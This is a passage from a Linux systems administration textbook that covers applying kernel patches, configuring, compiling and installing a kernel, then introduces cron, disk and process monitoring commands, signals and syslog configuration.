1.1.46 through application of the patch. You might want to make a
backup of the source tree first (tar zcvf old-tree.tar.gz linux will
make a compressed tar archive for you).

So, continuing with the example above, let's suppose that you have
patch46.gz in /usr/src. cd to /usr/src and do:

zcat patch46.gz | patch -p0

(or patch -p0 < patch46 if the patch isn't compressed).

You'll see things whizz by (or flutter by, if your system is that
slow) telling you that it is trying to apply hunks, and whether it
succeeds or not. Usually, this action goes by too quickly for you to
read, and you're not too sure whether it worked or not, so you might
want to use the -s flag to patch, which tells patch to only report
error messages (you don't get as much of the `hey, my computer is
actually doing something for a change!' feeling, but you may prefer
this..). To look for parts which might not have gone smoothly, cd to
/usr/src/linux and look for files with a .rej extension. Some
versions of patch (older versions which may have been compiled with on
an inferior file system) leave the rejects with a # extension. You can
use find to look for you;

find . -name '*.rej' -print

prints all files who live in the current directory or any subdirecto-
ries with a .rej extension to the standard output.

Patches can be obtained from the same sites as the complete kernel sources.

David Jones and Bruce Jamieson (2/20/25) Page 353

 85321, Systems Administration Chapter 13: Kernel

A couple of notes about patches:

 For every new version of the kernel, there is a patch. To upgrade from a kernel
version that is five versions behind the version you want, yo have to obtain and
apply five patches (e.g. kernel n.n.1 upgrading to n.n.6 requires patches:
patch2, patch3, patch4, patch5 and patch6). This gets tedious and is often easier
and quicker to simply obtain the entire kernel source again.
 Patches are forever - when you patch your kernel source, you modify it for good.
Every version of the kernel source comes with documentation. There are several
"main" files you should read about your current source version including:
 /usr/src/linux/README
Instructions on how to compile the kernel.
 /usr/src/linux/MAINTAINERS
A list of people who maintain the code.
 /usr/src/linux/Documentation/*
Documentation for parts of the kernel.
ALWAYS read the documentation after obtaining the source code for a new kernel,
and especially if you are going to be compiling in a new kind of device. The Linux
Kernel-HOWTO is essential reading for anything relating to compiling or modifying
the kernel.
Linux is the collaborative product of many people. This is something you quickly
discover when examining the source code. The code (in general) is neat but sparsely
commented; those comments that do exist can be absolutely riotous...well, at least
strange :)
These are just a selection of the quotes found in the /usr/src/linux/kernel
directory:

(fork.c)

Fork is rather simple, once you get the hang of it, but the memory
management can be a bitch.

(exit.c)

"I ask you, have you ever known what it is to be an orphan?"

(module.c)

... This feature will give you ample opportunities to get to know
the taste of your foot when you stuff it into your mouth!!!

(schedule.c)

The "confuse_gcc" goto is used only to get better assembly code..

Dijkstra probably hates me.

To understand this, you have to know who Dijkstra was - remember OS?

... disregard lost ticks for now.. We don't care enough.

David Jones and Bruce Jamieson (2/20/25) Page 354

 85321, Systems Administration Chapter 13: Kernel

(sys.c)

OK, we have probably got enough memory - let it rip.

This needs some heave checking ...

I just haven't get the stomach for it. I also don't fully
understand. Let somebody who does explain it.

(time.c)

This is ugly, but preferable to the alternatives. Bad, bad....

...This is revolting.
Apart from providing light entertainment, the kernel source comments are an
important guide into the (often obscure) workings of the kernel.
The main reason for recompiling the kernel is to include support for new devices - to
do this you simple have to go through the compile process and answer "Yes" to a few
questions relating to the hardware you want. However, in some cases you may actually
want to modify the way in which the kernel works, or, more likely, one of the data
structures the kernel uses. This might sound a bit daunting, but with Linux this is a
relatively simple process.
For example, the kernel maintains a statically-allocated array for holding a list of
structures associated with each process running on the system. When all of these
structures are used, the system is unable to start any new processes. This limit is
defined within the tasks.h file located in /usr/src/linux/include/linux/ in the
form of:

/*
* This is the maximum nr of tasks - change it if you need to
*/
#define NR_TASKS 512
#define MAX_TASKS_PER_USER (NR_TASKS/2)
#define MIN_TASKS_LEFT_FOR_ROOT 4
While 512 tasks may seem a lot, on a multiuser system this limit is
quickly exhausted. Remember that even without a single user logged
on, a Linux system is running between 30 and 50 tasks. For each user
login, you can (at peak periods) easily exceed 5 processes per user.
Adding this to web server activity (some servers can be running in
excess of one hundred processes devoted to processing incoming http
requests), mail server, telnet, ftp and other network services, the 512
process limit is quickly reached.
Increasing NR_TASKS and recompiling the kernel will allow more processes to be run
on the system - the downside to this is that more memory will be allocated to the
kernel data area in the form of the increased number of task structures (leaving less
memory for user programs).

David Jones and Bruce Jamieson (2/20/25) Page 355

85321, Systems Administration Chapter 13: Kernel

Other areas you may wish to modify include buffer sizes, numbers of virtual terminals
and memory structures. Most of these should be modifiable from the .h files found in
the kernel source "include" directories.
There are, of course, those masochists (like myself) who can't help tinkering with the
kernel code and "changing" things (a euphemism for wrecking a nice stable kernel).
This isn't a bad thing (there is an entire team of kernel developers world-wide who
spend quite a bit of time doing this) but you've got to be aware of the consequences -
total system annihilation is one. However, if you feel confident in modifying kernel
code, perhaps you should take a quick look at: /usr/src/linux/kernel/sched.c or
/usr/src/linux/mm/memory.c
(actually, look at the code anyway). These are two of the most important files in the
kernel source, the first, sched.c is responsible for task scheduling. The second,
memory.c is responsible for memory allocation. Perhaps someone would like to
modify memory.c so that when the kernel runs out of memory that the system simply
doesn't just "hang" (just one of my personal gripes there... ;)
As we will discuss in the next section, ALL changes to the kernel should be compiled
and tested on DISK before the "new" kernel is installed on the system. The following
section will explain how this is done.
 Obtain the source of the version before the latest kernel. Install the source in the
appropriate directory.
 Obtain the patch for the latest kernel source and apply it to the source files you
previously retrieved.
If you don't have Internet access, do the same thing but using the CD-ROM. Pick
a version of the kernel source, install it, then patch it with the patch for the next
version
Find out how to generate a patch file based on the differences between more than one
file - what is the command that would recursively generate a patch file from two
directories? (These puns are getting very sad)
As you are aware (because you've read all the previous chapters and have been paying
intense attention), make is a program use to compile source files, generate object files
and link them. make actually lets the compilers do the work, however it co-ordinates
things and takes care of dependencies. Important tip: Dependencies are conditions that
exist due to that fact some actions have to be done after other actions - this is
confusing, but wait, it gets worse. Dependencies also relate to the object of the action;
in the case of make this relates to if the object (an object can be an object file or a
source file) has been modified. For example, using our Humpty scenario:
humpty (program) is made up of legs, arms and torso (humpty, being an egg lacked a
neck, thus his torso and head are one) - these could be equated to object files.
Humpty's legs are made up of feet, shins and thighs - again, object files. Humpty's feet
are made up of toes and other bits (how do you describe an egg's foot???) - these could
be equated to source files. To construct humpty, you'd start at the simplest bits, like

David Jones and Bruce Jamieson (2/20/25) Page 356

 85321, Systems Administration Chapter 13: Kernel

toes, and combine them with other bits to for the feet, then the legs, then finally,
humpty.
You could not, however, fully assemble the leg without assembling the foot. And if
you modified Humpty's toes, it doesn't mean you'd have to recompile his fingers -
you'd have to reconstruct the foot object, relink into a new leg object, which you'd link
with the (pre compiled and unmodified) arms and torso objects - thus forming
Humpty.
make, while not specifically designed to handle broken egg reconstruction, does the
same thing with source files - based entirely of rules which the user defines within a
file called a Makefile. However, make is also clever enough to compile and link only
the bits of a program that have been modified since the last compile.
In the case of the kernel, a series of Makefiles are responsible for the kernel
construction. Apart from calling compilers and linkers, make can be used for running
programs, and in the case of the kernel, one of the programs it calls is an initialisation
script.
The steps to compile the kernel all make use of the make program. To compile the
kernel, you must be in the /usr/src/linux, and issue (in the following order and as
the root user) these commands:

make config or make menuconfig or make xconfig

make dep
make clean
make zImage or make zdisk
make zlilo (if the previous was make zImage)
If you are going to be using modules with your kernel, you will require the following
two steps:

make modules
make modules_install
The following is an explanation of each step.
make config is the first phase of kernel recompilation. Essentially make config
causes a series of questions to be issued to the user. These questions relate to what
components should be compiled into the kernel. The following is a brief dialog from
the first few questions prompted by make config:

psyche:~/usr/src/linux$ make config

rm -f include/asm
( cd include ; ln -sf asm-i386 asm)
/bin/sh scripts/Configure arch/i386/config.in
#
# Using defaults found in .config
#
*
* Code maturity level options

David Jones and Bruce Jamieson (2/20/25) Page 357

 85321, Systems Administration Chapter 13: Kernel

*
Prompt for development and/or incomplete code/drivers (CONFIG_EXPERIMENTAL)
[N/y?] n
*
* Loadable module support
*
Enable loadable module support (CONFIG_MODULES) [Y/n/?] Y
Set version information on all symbols for modules
(CONFIG_MODVERSIONS)[N/y/?]
Kernel daemon support (e.g. autoload of modules) (CONFIG_KERNELD) [N/y/?] y
*
* General setup
*
Kernel math emulation (CONFIG_MATH_EMULATION) [Y/n/?]
A couple of points to note:
Each of these questions has an automatic default (capitalised). This default will be
changed if you choose another option; i.e. If the default is "N" and you answer "Y"
then on the next compile the default will be "Y". This means that you can simply
press "enter" through most of the options after your first compile.
These first few questions relate to the basic kernel setup: note the questions regarding
modules. This is important to answer correctly, as if you wish to include loadable
module support, you must do so at this point.
As you progress further through the questions, you will be prompted for choosing
support for specific devices, for example:

*
* Additional Block Devices
*
Loopback device support (CONFIG_BLK_DEV_LOOP) [N/y/m/?]
Multiple devices driver support (CONFIG_BLK_DEV_MD) [N/y/?]
RAM disk support (CONFIG_BLK_DEV_RAM) [Y/m/n/?]
Initial RAM disk (initrd) support (CONFIG_BLK_DEV_INITRD) [N/y/?]
XT harddisk support (CONFIG_BLK_DEV_XD) [N/y/m/?]
In this case, note the "m" option? This specifies that the support for a device should be
compiled in as a module - in other words, not compiled into the kernel but into
separate modules.
Be aware that there are quite a few questions to answer in make config. If at any
point you break from the program, you must start over again. Some "sections" of make
config, like the sound card section, save the results of the first make config in a
configuration file; you will be prompted to either reconfigure the sound card options
or use the existing configurations file.
There are two other methods of configuring the kernel, make menuconfig and make
xconfig.

The first time you run either of these configuration programs, they will actually be
compiled before your very eyes (exciting eh?). menuconfig is just a text based menu

David Jones and Bruce Jamieson (2/20/25) Page 358

 85321, Systems Administration Chapter 13: Kernel

where you select the parts of the kernel you want; xconfig is the same thing, just for
X-Windows. Using either of these utilities will probably be useful for someone who
has never compiled the kernel before, however, for a comprehensive step-by-step
selection of kernel components, make config is, in my view, better. You may be
wondering what is the result of make config/menuconfig/xconfig? What is
actually happening is that small configuration files are being generated to be used in
the next step of the process, make dep.
make dep takes the results from make config and "sets up" which parts of the kernel
have to be compiled and which don't. Basically this step involves extensive use of sed
and awk for string substitution on files. This process may take a few minutes; there is
no user interaction at this point.
After running make dep, make clean must be run. Again, this process requires no
user interaction. make clean actually goes through the source tree and removes all the
old object and temporary files. This process can not be skipped.
At this point, we are ready to start the compile process.
You have two options at this point; you may either install the kernel on the hard drive
of the system and hope it works, or, install the kernel on a floppy disk and test it for a
while, then (if it is working) install it on the hard drive.
ALWAYS tests your kernel on a floppy disk before installing it as your boot kernel
on the hard drive. Why? Simply because if you install your new kernel directly over
the one on the hard drive and it doesn't work properly (i.e.. crashes or hangs your
system) then you will have difficulty booting your system (being a well prepared
Systems Administrator, you'd have a boot disk of course ... ;).
To compile your new kernel to disk, you must issue the command:

make zdisk
This will install a bootable kernel on the disk in A:. To boot the system, you simply
insert the disk containing the kernel in A:, shut down the system, and let it reboot. The
kernel on disk will load into memory, mount your root partition and the system will
boot as normal. It is a good idea to run this kernel on disk for at least a few days, if not
longer. If something goes wrong and you find your system has become unstable, it is
merely a process of removing the disk, rebooting and the system will start up with
your old kernel.
If you are going to install the kernel directly to the hard disk, then you should issue the
commands:

make zImage
make zlilo
The first command, make zImage, actually compiles the kernel, the second, make
zlilo installs the kernel on whatever root partition you have configured with lilo.

David Jones and Bruce Jamieson (2/20/25) Page 359

 85321, Systems Administration Chapter 13: Kernel

Most systems use lilo as the kernel boot loader. A common

misconception is that lilo is only used to boot kernels off hard disks.
This is actually incorrect; if lilo is configured (usually done when
you installed your system, see "man lilo" for more information on
configuring it) to boot the kernel from floppy disk, then running make
zlilo will cause a copy of the kernel (and lilo) to be copied onto a
disk. However, lilo is usually used to load a kernel form hard disk.
The way it works is simple; lilo finds the absolute block/sector
address of the kernel image on the disk. It then creates a small
program (containing this and other information) and inserts it in the
boot sector of the primary hard disk. At boot time, lilo is run,
prompting (optionally) the user for the desired operating system to
boot. When the choice is made, lilo goes directly to the block/sector
of the kernel boot image (or other operating system boot file) and
loads it into memory and executes it.
The actual compile process (either using make zImage or make zdisk is a lengthy
process. A Pentium 100 with 16 megabytes of RAM takes around 15 to 25 minutes to
compile the kernel (depending on what has been included). Compiling DEC UNIX on
a DEC-Alpha takes around three to four minutes. Have pity for those in the not-so-
distant era of the 386 that waited all day for a kernel to recompile.
It is quite OK to be recompiling the kernel while other users are
logged onto the system; be aware that this will slow the process down
and make the system appear VERY slow to the users (unless you have
a "really, nice" machine).
If you have decided to use dynamically loadable modules, there are two more
commands you must issue:

make modules
make modules_install
Note this is done post kernel compile - the useful thing about this is that if you
upgrade your modules, you can simply recompile them without the need for a full
kernel recompile!
After the make zImage/zlilo/zdisk commands and compiling the modules, your
kernel is ready to be tested. As previously stated, it is important to test your kernel
before using it as your system boot kernel.
If you find that the kernel is working normally from disk and it hasn't crashed the
system (too much), then you can install the kernel to the hard disk. The easiest way to
do this is to go back to the /usr/src/linux directory and type: make zlilo
This will install the copy of the kernel that was previously compiled to disk (a copy is
also kept in the kernel source directory) to the hard drive, or whatever boot device
lilo is configured to use.

David Jones and Bruce Jamieson (2/20/25) Page 360

85321, Systems Administration Chapter 13: Kernel

Did you read the documentation? "If all else fails, read the documentation" - this quote
is especially true of kernel recompiles. A few common problems that you may be
confronted with are:
 make can not find the Makefile but it is there!:
This is because make is broken. This was a big problem under the 1.2.n kernels
when an updated libc.so.x library was released. The problem was that make
would not work under 1.3.n kernels that had been recompiled under the 1.2.n
versions with the new library; consequently, you couldn't recompile the kernel
under the 1.3.n kernels due to the fact make was not working! This has been
fixed since, though at the time the solution was to go and get a new version of
make. This is a classic example of what can happen when you start upgrading
kernels without upgrading all the libraries, compilers and utilities. Always read the
README file before recompiling the kernel and make sure you have all the right
versions of libraries, compilers and utilities.
 make config/dep/clean dies:
This is bad news. It means one of several things: either the config scripts can't find
/bin/bash or /bin/sh, some of the source tree is missing, you are not running the
program as root or there is something wrong with your system file
permissions/links. It is very rare for this to happen with kernels "unpacked straight
from the box". If it does happen, check for the previous reasons; if all else fails, go
and get another kernel source.
 make zImage/zdisk fails:
This is one of those sinking feeling moments when you start getting messages
during the compile saying "Error: Something didn't compile/link". Two primary
reasons for this are: not running make clean after make dep and not having the
correct libraries installed.
 The kernel compiles and boots but it is unstable:
If you are using developmental kernels, this comes with the territory: because
developmental kernels can be unstable. If, however, you are using a known
"stable" kernel, then the reason is most likely a hardware conflict. Typical culprits
are sound cards and network cards. Remove these from the kernel and recompile.
You should then examine the documentation on the offending devices to see what
the conflict is. Other reasons for kernel instability include compiling in support for
devices you don't have (this is rare but can happen) or the fact that you've just
discovered a "real" bug in the kernel - in which case the README documentation
will assist you in locating the right person to talk to.
If you are still encountering problems, you should examine the newsgroup archives
concerned with Linux. There are also several useful mailing lists and web sites that
can assist you with kernel problems.

David Jones and Bruce Jamieson (2/20/25) Page 361

85321, Systems Administration Chapter 13: Kernel

Exercises

13.5 Modify the kernel so that the maximum number of tasks it can run is 50.
Compile this kernel to a floppy disk. See how long it takes to use all these
processes up.
13.6 Modify your kernel so that the kernel version message (seen on boot time)
contains your name. Hint: /usr/src/linux/init contains a file called
version.c - modify a data structure in this.
13.7 Recompile your own kernel, including only the components you need. For
those components that you need but don't use very oftem, compile them in as
modules. Initially boot the kernel from disk, then install it on your hard disk.

Conclusions
In this chapter we have examined:
 What is a kernel?
 Why would a Systems Administrator recompile a kernel?
 What makes up a modern kernel?
 How would you obtain a kernel?
 Why and how would you modify the kernel source?
 How is a kernel configured and recompiled?
 Why should a kernel be tested?
 How is a kernel installed?
 Issues associated with the modern Linux kernel
Further information of the Linux kernel can be obtained from the Linux Kernel
HOWTO.

Review Questions
Describe the functions of the kernel; explain the difference between a kernel that uses
modules and one that doesn't.
You have added a D-Link ethernet card to your laptop (a D-Link ethernet card runs
via the parallel port). Describe the steps you'd perform to allow the system to
recognise it. Would you compile support for this module directly into the kernel or
make it a module? Why/Why not?
You wish to upgrade the kernel on an older system (ver 1.2.n) to the latest kernel.
What issues should you consider? What problems could occur with such an
upgrade; how would you deal with these?

David Jones and Bruce Jamieson (2/20/25) Page 362

85321, Systems Administration Chapter 14: Observation, automation and logging

Chapter 14
Observation, automation and logging

Introduction
The last chapter introduced you to the "why" of automation and system monitoring.
This chapter introduces you to how you perform these tasks on the UNIX operating
system.
The chapter starts by showing you how to use the cron system to automatically
schedule tasks at set times without the intervention of a human. Parts of the cron
system you'll be introduced to include crond the daemon, crontab files and the
crontab command.

The chapter then looks at how you can find out what is going on with your system.
Current disk usage is examined briefly including the commands df and du. Next,
process monitoring is looked at with the ps, top, uptime, free, uname kill and nice
commands introduced.
Finally we look at how you can find out what has happened with your system. In this
section we examine the syslog system which provides a central system for logging
system events. We then take a look at both process and login accounting. This last
section will also include a look at what you should do with the files generated by
logging and accounting.

Automation and cron

A number of the responsibilities of a System Administrator are automated tasks that
must be carried out at the regular times every day, week or hour. Examples include,
early every morning freeing up disk space by deleting entries in the /tmp directory,
performing backups every night or compressing and archiving log files.
Most of these responsibilities require no human interaction other than to start the
command. Rather than have the Administrator start these jobs manually, UNIX
provides a mechanism that will automatically carry out certain tasks at set times. This
mechanism relies on the cron system.

Components of cron
The cron system consists of the following three components

David Jones, Bruce Jamieson (2/20/25) Page 363

 85321, Systems Administration Chapter 14: Observation, automation and logging

 crontab (the cron configuration) files

These are the files which tell the cron system which tasks to perform and when.
 the crontab command
This is the command used to modify the crontab files. Even though the crontab
files are text files they should not be edited using a text editor.
 the daemon, crond
The cron daemon is responsible for reading the crontab file and then performing
the required tasks at the specified times. The cron daemon is started by a system
startup file.

crontab format
crontab files are text files with each line consisting of 6 fields separated by spaces.
The first five fields specify when to carry out the command and the sixth field
specifies the command. Table 14.1, on the following page, outlines the purpose of
each of the fields.
Field Purpose
minute minute of the hour, 00 to 59
hour hour of the day, 00 to 24 (military time)
day day of the month, 1 to 31
month month of the year, 1 to 12
weekday day of the week, Linux uses three letter abbreviations, sun, mon, tue,....
command The actual command to execute
Ta b l e 1 4 . 1
crontab fields

Comments can be used and are indicated using the # symbol just as with shell
programs. Anything that appears after a # symbol until the end of that line is
considered a comment and is ignored by crond.
The five time fields can also use any one of the following formats
 an asterix that matches all possible values,
 a single integer that matches that exact value,
 a list of integers separated by commas (no spaces) used to match any one of the
values
 two integers separated by a dash (a range) used to match any value within the
range.

For example
Some example crontab entries include (all but the first two examples are taken from
the Linux man page for crontab)

0 * * * * echo Cuckoo Cuckoo > /dev/console 2>&1

Every hour (when minutes=0) display Cuckoo Cuckoo on the system console.

David Jones, Bruce Jamieson (2/20/25) Page 364

 85321, Systems Administration Chapter 14: Observation, automation and logging

30 9-17 * 1 sun,wed,sat echo `date` >> /date.file 2>&1

At half past the hour, between 9 and 5, for every day of January which is a Sunday,
Wednesday or Saturday, append the date to the file date.file

0 */2 * * * date
Every two hours at the top of the hour run the date command

0 23-7/2,8 * * * date
Every two hours from 11p.m. to 7a.m., and at 8a.m.

0 11 4 * mon-wed date
At 11:00 a.m. on the 4th and on every mon, tue, wed

0 4 1 jan * date
4:00 a.m. on january 1st

0 4 1 jan * date >> /var/log/messages 2>&1

Once an hour, all output appended to log file

Output
When commands are executed by the crond daemon there is no terminal associated
with the process. This means that standard output and standard error, which are
usually set the terminal, must be redirected somewhere else. In this case the output is
emailed to the person who's crontab file the command appears. It is possible to
use I/O redirection to redirect the output of the commands to files. Some of the
examples above use output redirection to send the output of the commands to a log
file.

Exercises

14.1 Write crontab entries for the following.

- run the program date every minute of every day and send the output to a
file called date.log
- remove all the contents of the directory /tmp at 5:00am every morning
- execute a shell script /root/weekly.job every Wednesday
- run the program /root/summary at 3, 6 and 9 pm for the first five days of a
month

Creating crontab files

crontab files should not be modified using an editor instead they should be created
and modified using the crontab command. Refer for the manual page for crontab for
more information but the following are two of the basic methods for using the
command.

David Jones, Bruce Jamieson (2/20/25) Page 365

85321, Systems Administration Chapter 14: Observation, automation and logging

1. crontab [file]
2. crontab [-e | -r | -l ] [username]
Version 1 is used to replace an existing crontab file with the contents of standard
input or the specified file.
Version 2 makes use of one of the following command line options
 -e
Allows the user to edit the crontab file using an editor (the command will
perform some additional actions to make it safe to do so)
 -r
Remove the user's crontab file
 -l
Display the user's crontab file onto standard output
By default all actions are carried out on the user's own crontab file. Only the root
user can specify another username and modify that user's crontab file.

Exercise

14.2 Using the crontab command to add the following to your crontab file and
observe what happens.
run the program date every minute of every day and send the output to a file
called date.log

What's going on
A part of the day to day operation of a system is keeping an eye on the systems current
state. This section introduces a number of commands and tools that can be used to
examine the current state of the system.
The tools are divided into two sections based on what they observe. The sections are
 disk and file system observation, and
The commands du and df
 process observation and manipulation.
The commands ps, kill, nice and top.
need to add the observation Web-based system

df

df summarises that amount of free disk space. By default df will display the following
information for all mounted file systems
 total number of disk blocks,
 number of disk blocks used,

David Jones, Bruce Jamieson (2/20/25) Page 366

85321, Systems Administration Chapter 14: Observation, automation and logging

 number available
 percentage of disk blocks used, and
 where the file system is mounted.
df also has an option, -i to display Inode usage rather than disk block usage. What an
Inode is will be explained in a later chapter. Simply every file that is created must
have an Inode. If all the Inodes are used you can't create anymore files. Even if you
have disk space available.
The -T option will cause df to display each file systems type.

David Jones, Bruce Jamieson (2/20/25) Page 367

85321, Systems Administration Chapter 14: Observation, automation and logging

Exercise

14.3 Use the df command to answer the following questions

- how many partitions do you have mounted
- how much disk space do you have left on your Linux partition
- how many more files can you create on your Linux partition

du

The du command is used to discover the amount of disk space used by file or
directory. By default du reports file size as a number of 1 kilobyte blocks. There are
options to modify the command so it reports size in bytes (-b) or kilobytes (-k).
If you use du on a directory it will report back the size of each file and directory
within it and recursively descend down any sub-directories. The -s switch is used to
produce the total amount of disk used by the contents of a directory.
There are other options that allow you to modify the operation of du with respect to
partitions and links.

Exercise

14.4 Use the du command to answer the following questions

- how many blocks does the /etc/passwd file use,
- how large (in bytes) is the /etc/passwd file,
- how disk space is used by the /etc/ directory, the usr directory

System Status
Table 14.2 summarises some of the commands that can be used to examine the current
state of your machine. Some of the information they display includes
 amount of free and used memory,
 the amount of time the system has been up,
 the load average of the system,
Load average is the number processes ready to be run and is used to give some
idea of how busy your system is.
 the number of processes and amount of resources they are consuming.
Some of the commands are explained below. For those that aren't use your system's
manual pages to discover more.

David Jones, Bruce Jamieson (2/20/25) Page 368

 85321, Systems Administration Chapter 14: Observation, automation and logging

Command Purpose
XE display the amount of free and used memory
"free"free
XE how long has the system been running and what is the current load
"uptime"upt average
ime
XE "ps"ps one off snap shot of the current processes
XE "top"top continual listing of current processes
XE display system information including the hostname, operating system
"uname"una and version and current date and time
me
Ta b l e 1 4 . 2
System status commands

ps

The ps command displays a list of information about the process that were running at
the time the ps command was executed.
pshas a number of options that modify what information it displays. Table 14.3 lists
some of the more useful or interesting options that the Linux version of PS supports.
Table 14.4 explains the headings used by ps for the columns it produces.
For more information on the ps command you should refer to the manual page.
Option Purpose
l long format
u displays username (rather than uid) and the start time of the process
m display process memory info
a display processes owned by other users (by default ps only shows your
processes)
x shows processes that aren't controlled by a terminal
f use a tree format to show parent/child relationships between processes
w don't truncate lines to fit on screen
Ta b l e 1 4 . 3
ps options

Field Purpose
NI the nice value
SIZE memory size of the processes code, data and stack
RSS kilobytes of the program in memory (the resident set size)
STAT the status of the process (R-runnable, S-sleeping, D-uninterruptable sleep, T-
stopped, Z-zombie)
TTY the controlling terminal
Ta b l e 1 4 . 4

David Jones, Bruce Jamieson (2/20/25) Page 369

85321, Systems Administration Chapter 14: Observation, automation and logging

ps fields

Exercise

14.5 Use the ps command to answer the following questions

- how many processes do you currently own
- how many processes are running on your system
- how much RAM does the ps command use
- what's the current running process

top

ps provides a one-off snap shot of the processes on your system. For an on-going look
at the processes Linux generally comes with the top command. It also displays a
collection of other information about the state of your system including
 uptime, the amount of time the system has been up
 the load average,
 the total number of processes,
 percentage of CPU time in user and system mode,
 memory usage statistics
 statistics on swap memory usage
Refer to the man page for top for more information.
top is not a standard UNIX command however it is generally portable and available
for most platforms.
top displays the process on your system ranked in order from the most CPU intensive
down and updates that display at regular intervals. It also provides an interface by
which you can manipulate the nice value and send processes signals.

The nice value

The nice value specifies how "nice" your process is being to the other users of the
system. It provides the system with some indication of how important the process is.
The lower the nice value the higher the priority. Under Linux the nice value ranges
from -20 to 19.
By default a new process inherits the nice value of its parent. The owner of the process
can increase the nice value but cannot lower it (give it a higher priority). The root
account has complete freedom in setting the nice value.

nice

The nice command is used to set the nice value of a process when it first starts.

David Jones, Bruce Jamieson (2/20/25) Page 370

 85321, Systems Administration Chapter 14: Observation, automation and logging

renice

The renice command is used to change the nice value of a process once it has started.

Signals
When you hit the CTRL-C combination to stop the execution of a process a signal (the
TERM signal) is sent to the process. By default many processes will terminate when
they receive this signal
The UNIX operating system generates a number of different signals. Each signal has
an associated unique identifying number and a symbolic name. Table 14.6 lists some
of the more useful signals used by the Linux operating system. There are 32 in total
and they are listed in the file /usr/include/linux/signal.h

SIGHUP

The SIGHUP signal is often used when reconfiguring a daemon. Most daemons will
only read the configuration file when they startup. If you modify the configuration file
for the daemon you have to force it to re-read the file. One method is to send the
daemon the SIGHUP signal.

SIGKILL

This is the big "don't argue" signal. Almost all processes when receiving this signal
will terminate. It is possible for some processes to ignore this signal but only after
getting themselves into serious problems. The only way to get rid of these processes is
to reboot the system.
Symbolic Name Numeric identifier Purpose
SIGHUP 1 hangup
SIGKILL 9 the kill signal
SIGTERM 15 software termination
Ta b l e 1 4 . 5
Linux signals

kill

The kill command is used to send signals to processes. The format of the kill
command is

kill [-signal] pid

David Jones, Bruce Jamieson (2/20/25) Page 371

85321, Systems Administration Chapter 14: Observation, automation and logging

This will send the signal specified by the number signal to the process identified with
process identifier pid. The kill command will handle a list of process identifiers and
signals specified using either their symbolic or numeric formats.
By default kill sends signal number 15 (the TERM signal).

David Jones, Bruce Jamieson (2/20/25) Page 372

85321, Systems Administration Chapter 14: Observation, automation and logging

What's happened?
There will be times when you want to reconstruct what happened in the lead up to a
problem. Situations where this might be desirable include
 you believe someone has broken into your system,
 one of the users performed an illegal action while online, and
 the machine crashed mysteriously at some odd time.

Logging and accounting

This is where
 logging, and
The recording of certain events, errors, emergencies.
 accounting.
Recording who did what and when.
become useful.
This section examines the methods under Linux by which logging and accounting are
performed. In particular it will examine
 the syslog system,
 process accounting, and
 login accounting.

Managing log and accounting files

Both logging and accounting tend to generate a great deal of information especially on
a busy system. One of the decisions the Systems Administrator must make is what to
do with these files. Options include
 don't create them in the first place,
The head in the sand approach. Not a good idea.
 keep them for a few days, then delete them, and
If a problem hasn't been identified within a few days then assume there is no
reasons to keep the log files. Therefore delete the existing ones and start from
scratch.
 keep them for a set time and then archive them.
Archiving these files might include compressing them and storing them online or
copying them to tape.

Centralise

David Jones, Bruce Jamieson (2/20/25) Page 373

85321, Systems Administration Chapter 14: Observation, automation and logging

If you are managing multiple computers it is advisable to centralise the logging and
accounting files so that they all appear on the one machine. This makes maintaining
and observing the files easier.

David Jones, Bruce Jamieson (2/20/25) Page 374

85321, Systems Administration Chapter 14: Observation, automation and logging

Logging
The ability to log error messages or the actions carried out by a program or script is
fairly standard. On earlier versions of UNIX each individual program would have its
own configuration file that controlled where and what to log. This led to multiple
configuration and log files that made it difficult for the Systems Administrator to
control and each program had to know how to log.

syslog

The syslog system was devised to provide a central logging facility that could be
used by all programs. This was useful because Systems Administrators could control
where and what should be logged by modifying a single configuration file and because
it provided a standard mechanism by which programs could log information.

Components of syslog
The syslog system can be divided into a number of components
 default log file,
On many systems messages are logged by default into the file
/var/log/messages
 the syslog message format,
 the application programmer's interface,
The API programs use to log information.
 the daemon, and
The program that directs logging information to the correct location based on the
configuration file.
 the configuration file.
Controls what information is logged and where it is logged.

Exercise

14.6 Examine the contents of the file /var/log/messages. You will probably have
to be the root user to do so. One useful piece of information you should find
in that file is a copy of the text that appears as Linux boots.

syslog message format

syslog uses a standard message format for all information that is logged. This format
includes

David Jones, Bruce Jamieson (2/20/25) Page 375

85321, Systems Administration Chapter 14: Observation, automation and logging

 a facility,
The facility is used to describe the part of the system that is generating the
message. Table 14.3 lists some of the common facilities.
 a level,
The level indicates the severity of the message. In lowest to highest order the
levels are debug info notice warning err crit alert emerg
 and a string of characters containing a message.

Facility Source
kern the kernel
mail the mail system
lpr the print system
daemon a variety of system daemons
auth the login authentication system
Ta b l e 1 4 . 6
Common syslog facilities

syslog's API

In order for syslog to be useful application programs must be able to pass messages
to the syslog daemon so it can log the messages according to the configuration file..
There are at least two methods which application programs can use to send messages
to syslog. These are:
 logger,
logger is a UNIX command. It is designed to be used by shell programs which
wish to use the syslog facility.
 the syslog API.
The API (application program interface) consists of a set of the functions (openlog
syslog closelog) which are used by programs written in compiled languages
such as C and C++. This API is defined in the syslog.h file. You will find this
file in the system include directory /usr/include.

Exercises

14.7 Examine the manual page for logger. Use logger from the command line to
send a message to syslog
14.8 Examine the manual page for openlog and write a C program to send a
message to syslog

syslogd

David Jones, Bruce Jamieson (2/20/25) Page 376

85321, Systems Administration Chapter 14: Observation, automation and logging

syslogd is the syslog daemon. It is started when the system boots by one of the
startup scripts. syslogd reads its configuration file when it startups or when it receives
the HUP signal. The standard configuration file is /etc/syslog.conf.
syslogd receives logging messages and carries out actions as specified in the
configuration file. Standard actions include
 appending the message to a specific file,
 forwarding the message to the syslogd on a different machine, or
 display the message on the consoles of all or some of the logged in users.

/etc/syslog.conf

By default syslogd uses the file /etc/syslog.conf as its configuration file. It is

possible using a command line parameter of syslogd to use another configuration file.
A syslog configuration file is a text file. Each line is divided into two fields separated
by one or more spaces or tab characters
 a selector, and
Used to match log messages.
 an action.
Specifies what to do with a message if it is matched by the selector

The selector
The selector format is facility.level where facility and level level match those
terms introduced in the syslog message format section from above.
A selector field can include
 multiple selectors separated by ; characters
 multiple facilities, separated by a , character, for a single level
 an * character to match all facilities or levels
The level can be specified with or without a =. If the = is used only messages at
exactly that level will be matched. Without the = all messages at or above the specified
level will be matched.

syslog.conf actions
The actions in the syslog configuration file can take one of four formats
 a pathname starting with /
Messages are appended onto the end of the file.
 a hostname starting with a @
Messages are forwarded to the syslogd on that machine.
 a list of users separated by commas
Messages appear on the screens of those users if they are logged in.

